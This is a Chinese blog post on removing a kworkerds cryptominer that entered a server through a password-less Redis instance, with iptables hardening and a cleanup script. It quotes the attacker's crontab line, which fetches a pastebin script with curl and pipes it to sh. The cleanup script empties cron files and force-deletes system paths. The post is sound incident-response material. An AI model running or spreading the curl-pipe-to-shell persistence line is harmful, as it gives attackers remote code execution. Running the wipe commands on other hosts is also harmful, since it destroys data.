• redis免密登录被入侵解决方式


    redis免密登录被入侵解决方式(部分来源:Kworkerd恶意挖矿分析记录阿里云服务器被minerd和kworkerds感染作祟

    入侵最根本原因:###

    redis没有设置密码,并且开放任意ip可以通过6379接口登录。

    入侵导致的情况:###

    CPU使用率100% ,但是 top指令 如下:
    top - 14:54:32 up 105 days, 21:29, 1 user, load average: 6.97, 6.95, 7.01
    Tasks: 98 total, 2 running, 96 sleeping, 0 stopped, 0 zombie
    %Cpu(s): 99.8 us, 0.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
    KiB Mem : 8010196 total, 170836 free, 4044724 used, 3794636 buff/cache
    KiB Swap: 0 total, 0 free, 0 used. 3613484 avail Mem

    进程的占用都是很低的,但是 %Cpu(s): 99.8 us
    PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
    27988 root 20 0 2397000 141676 2996 S 1.0 1.8 1016:05 beam.smp
    4020 root 20 0 131976 11444 5388 S 0.3 0.1 134:44.25 AliYunDun
    5008 root 20 0 3681584 105168 6588 S 0.3 1.3 20:48.23 java
    5990 root 20 0 4772176 709264 6796 S 0.3 8.9 10:44.94 java
    7426 root 20 0 3526796 571668 6960 S 0.3 7.1 9:46.08 java
    19175 root 20 0 3540288 701796 6668 S 0.3 8.8 333:28.61 java
    1 root 20 0 43604 3584 2012 S 0.0 0.0 4:06.13 systemd

    需要如下处理:

    1. 运行crontab -l 发现有定时任务在执行
      */30 * * * * /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh

    2. 执行 vim /etc/ld.so.preload 删除其中内容 并且执行 ldconfig

    3. 再次执行top 就会发现被隐藏的进程 kworkerds ,kill -9 该进程号即可。

    修复方式(阿里云建议):###

    1. 限制redis连接的ip
      只允许某些特定的ip访问redis
      修改iptables内容

      -A INPUT -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
      修改为指定ip访问
      -A INPUT -s 172.xxx.xxx.xxx -p tcp --dport 6379 -j ACCEPT
      注意:
      redis.conf 配置 bind 的含义不是要访问的服务器的ip 而是 本机用于别人访问的ip

    2. 运行以下代码来清除所有入侵内容

       ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
       echo "" > /etc/cron.d/root
       echo "" > /etc/cron.d/system
       echo "" > /var/spool/cron/root
       echo "" > /var/spool/cron/crontabs/root
       rm -rf /etc/cron.hourly/oanacron
       rm -rf /etc/cron.daily/oanacron
       rm -rf /etc/cron.monthly/oanacron
      
       rm -rf /bin/httpdns
       sed -i '$d' /etc/crontab
      
       sed -i '$d' /etc/ld.so.preload
       rm -rf /usr/local/lib/libntp.so
      
       ps aux|grep kworkerds|grep -v color|awk '{print $2}'|xargs kill -9
       rm -rf /tmp/.tmph
       rm -rf /bin/kworkerds
       rm -rf /tmp/kworkerds
       rm -rf /usr/sbin/kworkerds
       rm -rf /etc/init.d/kworker
       chkconfig --del kworker
      
    3. 继续删除文件
      去tmp目录删除多余文件,同时删除隐藏文件 ls -al
      cd /usr/local/lib下 rm -rf libjdk.so

  • 相关阅读:
    设计模式--工厂模式
    docker
    学习的网址
    showslow小记
    .Net学习线路图
    《掌握软件测试九大技术》
    Apache和Tomcat
    Visual Studio 2017 更新到15.3后 提示错误:包含了重复的“Compile”项 的解决方法
    Asp.Net Core MVC项目实现多语言(Globalization/Localization)
    7月23日 会议纪要(项目有重要变动)
  • 原文地址:https://www.cnblogs.com/cuiyf/p/9648166.html
Copyright © 2020-2023  润新知